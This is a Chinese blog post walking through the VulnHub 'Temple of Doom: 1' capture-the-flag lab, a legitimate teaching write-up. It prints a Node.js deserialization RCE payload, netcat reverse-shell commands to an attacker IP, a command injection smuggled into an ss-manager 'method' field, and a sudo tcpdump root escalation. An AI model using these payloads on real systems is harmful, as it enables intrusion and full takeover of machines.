大余安全
一个每日分享渗透小技巧的公众号
大家好,这里是 大余安全 的第 29 篇文章,本公众号会每日分享攻防渗透技术给大家。
靶机地址:https://www.vulnhub.com/entry/temple-of-doom-1,243/
靶机难度:中级(CTF)
靶机发布日期:2018年6月8日
靶机描述:
[+]由https://twitter.com/0katz创建的CTF
[+]难度:简单/中级
[+]在VirtualBox中测试
[+]注意:2种扎根方法!--来自谷歌翻译
目标:得到root权限&找到flag.txt
请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集
我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:
我们已经找到了此次CTF目标计算机IP地址:192.168.56.126 (当然,第一张图就显示了IP....)
nmap扫出开放了22和666端口...(有Node.js)
22先放着吧,没账号密码进不去的...666是http服务,去看看....
正在建设一个页面...让我稍后再来...等不急了爆破它
竟然什么都没有....用nikto试试...
第一次使用nikto和dirb都扫不出一点信息....
这边我截取下他的会话cookie试试...
发现服务器端响应中正在发送会话cookie....
使用Burp Decoder对Cookie值进行解码....
第一次解码他会标记%3符号...我选择base64继续进行解码,出现了:
u32t4o3tb3gg431fs34ggdgchjwnza0l=
看上面可以确定在会话cookie中传递了用户名csrftoken和expires参数...
再次刷新后,返回了错误的提示...
发现Web服务正在使用JSON,并且Nmap扫描中有Node.js框架,在谷歌上搜索
[exploit node.js](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)
看看...
说存在反序列化漏洞利用...我这边先测试下是否存在...用反序列化函数试试...
果然有反序列化漏洞存在...
[参考](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)
二、提权
参考链接后,可以学习到怎么去提权...
{"username":"_ND_FUNC_function(){return require('child_process').execSync('whoami',(e,out,err)=>{console.log(out);}); }()"}
_ ND_FUNC _ function():在本地执行一个函数
child_process是node.js中的一个模块,它以类似于popen(3)的方式生成子进程。
child_process.exec()方法:此方法在控制台中运行命令并缓冲输出
(上面框架的命令可以套用...遇到反序列化漏洞,上面美元符号不能打...报错...)
它指定字符串Shell执行命令(在UNIX上默认:'/ bin / sh')
制作的Shell可以知道Linux系统上的当前用户是谁,编码进行转发....
当前用户为nodeadmin......
我们执行ls -lart查找下目录底层信息看看...
这边直接创建nc 对/bin/bash输入开启服务...(反向netcat shell命令)
命令:{"username":"_$$ND_FUNC_function(){return require('child_process').execSync('nc -e /bin/bash 192.168.56.103 6666',(e,out,err)=>{console.log(out);}); }()"}
python -c 'import pty;pty.spawn("/bin/bash")' (进入tty shell )
没有权限进入fireman目录...
看看fireman是否有root权限去运行它...
ss-manager是作为根来运行的...ss-manager容易受到远程代码执行的影响...
[参考](https://github.com/shadowsocks/shadowsocks-libev/issues/1734)
ss-manager是Shadowsocks的缩写
Shadowsocks-libev是用于嵌入式的服务和安全SOCKS5作为代理,ss-manager用于控制多个用户的shadowsocks服务器,并在需要时生成新服务器...就是能创建新服务去利用...
创建服务器....
add: {"server_port":8003, "password":"test", "method":"||nc -e /bin/sh 192.168.56.103 4444 ||"}
进入fireman用户....
sudo -l查看下有哪些可以提权的目录或者文件...
存在tcpdump,可以用于远程代码执行...
[参考](https://github.com/xapax/security/blob/master/privilege_escalation_-_linux.md)
命令:echo "nc -e /bin/bash 192.168.56.103 1234" > dayu
命令:sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/dayu -Z root
将目录更改为tmp,使用反向netcat shell创建了一个名为dayu的文件,将该文件的文件权限更改为RWX,最后将sudo和tcp dump用于远程代码执行....
成功获取root和flag文件...介绍说有两种方法可以获取...
这边我回想了下,一路过来都是Node.js--ss-manager--tcpdump这条路过来的....
因为只开了22和666端口,目前还没想到第二种方法能渗透的....如果有大神能想到...请留言给我,感谢!!一起学习,一起加油!!!
由于我们已经成功得到root权限&找到flag.txt,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。
如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~
欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!
原文始发于微信公众号(大余安全):VulnHub-Temple of Doom: 1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论